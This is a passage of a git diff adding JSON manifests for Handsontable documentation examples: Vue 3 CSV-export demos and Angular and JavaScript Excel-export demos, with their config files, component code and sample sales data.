\n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/accessories-and-menus/export-to-csv/vue/example1.vue","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/export-to-csv","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__vue__example2.vue.json new file mode 100644 index 00000000..f28722d4 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__vue__example2.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Accessories And Menus ▸ Export to CSV · Export as a JavaScript Blob object · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n"},"docsPath":"guides/accessories-and-menus/export-to-csv/vue/example2.vue","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example2","exampleTitle":"Export as a JavaScript Blob object","docPermalink":"/export-to-csv","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__vue__example3.vue.json new file mode 100644 index 00000000..6448c2bf --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__vue__example3.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Accessories And Menus ▸ Export to CSV · Export as a string · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example3\");","/src/App.vue":"\n\n"},"docsPath":"guides/accessories-and-menus/export-to-csv/vue/example3.vue","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example3","exampleTitle":"Export as a string","docPermalink":"/export-to-csv","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__vue__example4.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__vue__example4.vue.json new file mode 100644 index 00000000..6dfecaa5 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__vue__example4.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Accessories And Menus ▸ Export to CSV · Prevent CSV Injection attack · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example4\");","/src/App.vue":"\n\n"},"docsPath":"guides/accessories-and-menus/export-to-csv/vue/example4.vue","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example4","exampleTitle":"Prevent CSV Injection attack","docPermalink":"/export-to-csv","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-excel__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-excel__angular__example1.ts.json new file mode 100644 index 00000000..8eeb53ff --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-excel__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Accessories And Menus ▸ Export to Excel · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\",\n \"exceljs\": \"4.4.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewChild } from '@angular/core';\nimport Handsontable from 'handsontable';\nimport { GridSettings, HotTableComponent, HotTableModule} from '@handsontable/angular-wrapper';\nimport ExcelJS from 'exceljs';\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'app-example1',\n template: `\n
    \n
    \n \n
    \n
    \n\n \n \n `,\n})\nexport class AppComponent {\n @ViewChild(HotTableComponent, { static: false }) hotTable!: HotTableComponent;\n\n readonly hotData = [\n ['Alice Martin', 'North', 142000, true, 'Exceeded Q1 target by 18%.'],\n ['Bob Chen', 'East', 98500, true, 'Strong pipeline for Q2.'],\n ['Carol Davies', 'South', 76200, false, 'Needs coaching on closing.'],\n ['David Kim', 'West', 115300, true, 'Cross-sell opportunity.'],\n ['Eva Rossi', 'North', 54800, false, 'Sick leave impacted March.'],\n ['TOTALS', '', null, '', ''],\n ];\n\n readonly hotSettings: GridSettings = {\n nestedHeaders: [\n [\n { label: 'Sales Representative', colspan: 2, headerClassName: 'htCenter' },\n { label: 'Results', colspan: 2, headerClassName: 'htCenter' },\n { label: 'Notes', colspan: 1, headerClassName: 'htLeft' },\n ],\n ['Name', 'Region', 'Revenue ($)', 'Hit Target?', 'Notes'],\n ],\n columns: [\n { type: 'text' },\n { type: 'dropdown', source: ['North', 'South', 'East', 'West'] },\n {\n type: 'numeric',\n locale: 'en-US',\n numericFormat: { style: 'currency', currency: 'USD', minimumFractionDigits: 2 },\n },\n { type: 'checkbox' },\n { type: 'text' },\n ],\n columnSummary: [\n {\n sourceColumn: 2,\n destinationRow: 5,\n destinationColumn: 2,\n type: 'sum',\n forceNumeric: true,\n },\n ],\n mergeCells: [{ row: 5, col: 0, rowspan: 1, colspan: 2 }],\n customBorders: [{ row: 5, col: 2, top: { width: 2, color: '#333333' } }],\n cell: [\n { row: 5, col: 0, readOnly: true },\n { row: 5, col: 2, readOnly: true },\n ],\n fixedColumnsStart: 1,\n rowHeaders: true,\n colHeaders: false,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n exportFile: { engines: { xlsx: ExcelJS } },\n afterInit(this: Handsontable) {\n this.setCellMeta(0, 4, 'comment', { value: 'Top sales rep — review for promotion.' });\n this.render();\n },\n };\n\n async exportFile(): Promise {\n const exportPlugin = this.hotTable.hotInstance!.getPlugin('exportFile');\n\n await exportPlugin.downloadFileAsync('xlsx', {\n filename: 'Q1-Sales-Report',\n colHeaders: true,\n rowHeaders: true,\n exportFormulas: true,\n });\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/accessories-and-menus/export-to-excel/angular/example1.ts","breadcrumb":["Accessories And Menus","Export to Excel"],"guide":"guides/accessories-and-menus/export-to-excel/export-to-excel.md","guideTitle":"Export to Excel","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/export-to-excel","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-excel__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-excel__angular__example2.ts.json new file mode 100644 index 00000000..b4a3a6da --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-excel__angular__example2.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Accessories And Menus ▸ Export to Excel · Multi-sheet export · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\",\n \"exceljs\": \"4.4.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewChild } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule} from '@handsontable/angular-wrapper';\nimport ExcelJS from 'exceljs';\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'app-example2',\n template: `\n
    \n
    \n \n
    \n
    \n\n

    Q1 Sales

    \n \n\n

    Q2 Sales

    \n \n `,\n})\nexport class AppComponent {\n @ViewChild('hotQ2', { static: false }) hotQ2!: HotTableComponent;\n @ViewChild(HotTableComponent, { static: false }) hotQ1!: HotTableComponent;\n\n readonly q1Data = [\n ['Alice Martin', 'North', 142000, true ],\n ['Bob Chen', 'East', 98500, true ],\n ['Carol Davies', 'South', 76200, false],\n ['David Kim', 'West', 115300, true ],\n ['Eva Rossi', 'North', 54800, false],\n ];\n\n readonly q2Data = [\n ['Alice Martin', 'North', 158000, true ],\n ['Bob Chen', 'East', 112400, true ],\n ['Carol Davies', 'South', 89100, true ],\n ['David Kim', 'West', 97600, false],\n ['Eva Rossi', 'North', 63200, true ],\n ];\n\n readonly sharedSettings: GridSettings = {\n columns: [\n { type: 'text' },\n { type: 'dropdown', source: ['North', 'South', 'East', 'West'] },\n {\n type: 'numeric',\n locale: 'en-US',\n numericFormat: { style: 'currency', currency: 'USD', minimumFractionDigits: 2 },\n },\n { type: 'checkbox' },\n ],\n colHeaders: ['Name', 'Region', 'Revenue ($)', 'Hit Target?'],\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n exportFile: { engines: { xlsx: ExcelJS } },\n };\n\n async exportSheets(): Promise {\n const hotQ1 = this.hotQ1.hotInstance!;\n const exportPlugin = hotQ1.getPlugin('exportFile');\n\n await exportPlugin.downloadFileAsync('xlsx', {\n filename: 'Annual-Sales-Report',\n sheets: [\n { instance: hotQ1, name: 'Q1 Sales', colHeaders: true, rowHeaders: true },\n { instance: this.hotQ2.hotInstance!, name: 'Q2 Sales', colHeaders: true, rowHeaders: true },\n ],\n });\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/accessories-and-menus/export-to-excel/angular/example2.ts","breadcrumb":["Accessories And Menus","Export to Excel"],"guide":"guides/accessories-and-menus/export-to-excel/export-to-excel.md","guideTitle":"Export to Excel","exampleId":"example2","exampleTitle":"Multi-sheet export","docPermalink":"/export-to-excel","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-excel__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-excel__angular__example3.ts.json new file mode 100644 index 00000000..af910917 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-excel__angular__example3.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Accessories And Menus ▸ Export to Excel · Context menu · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\",\n \"exceljs\": \"4.4.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\nimport ExcelJS from 'exceljs';\n\n@Component({\n selector: 'app-example3',\n standalone: true,\n imports: [HotTableModule],\n template: `\n
    \n

    Right-click any cell to open the context menu.

    \n
    \n \n `,\n})\nexport class AppComponent {\n readonly hotData = [\n ['Laptop Pro 15\"', 'Electronics', 1299.99, 38, true ],\n ['Wireless Mouse', 'Accessories', 29.99, 214, true ],\n ['USB-C Hub 7-in-1', 'Accessories', 49.99, 87, true ],\n ['Monitor 27\" 4K', 'Electronics', 449.99, 12, false],\n ['Mech Keyboard', 'Accessories', 119.99, 65, true ],\n ];\n\n readonly hotSettings: GridSettings = {\n columns: [\n { type: 'text' },\n { type: 'dropdown', source: ['Electronics', 'Accessories', 'Software'] },\n {\n type: 'numeric',\n locale: 'en-US',\n numericFormat: { style: 'currency', currency: 'USD', minimumFractionDigits: 2 },\n },\n { type: 'numeric' },\n { type: 'checkbox' },\n ],\n colHeaders: ['Product', 'Category', 'Unit Price', 'Stock', 'Active?'],\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n contextMenu: true,\n exportFile: { engines: { xlsx: ExcelJS } },\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/accessories-and-menus/export-to-excel/angular/example3.ts","breadcrumb":["Accessories And Menus","Export to Excel"],"guide":"guides/accessories-and-menus/export-to-excel/export-to-excel.md","guideTitle":"Export to Excel","exampleId":"example3","exampleTitle":"Context menu","docPermalink":"/export-to-excel","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-excel__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-excel__javascript__example1.js.json new file mode 100644 index 00000000..e3f793a5 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-excel__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Accessories And Menus ▸ Export to Excel · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"exceljs\": \"4.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n
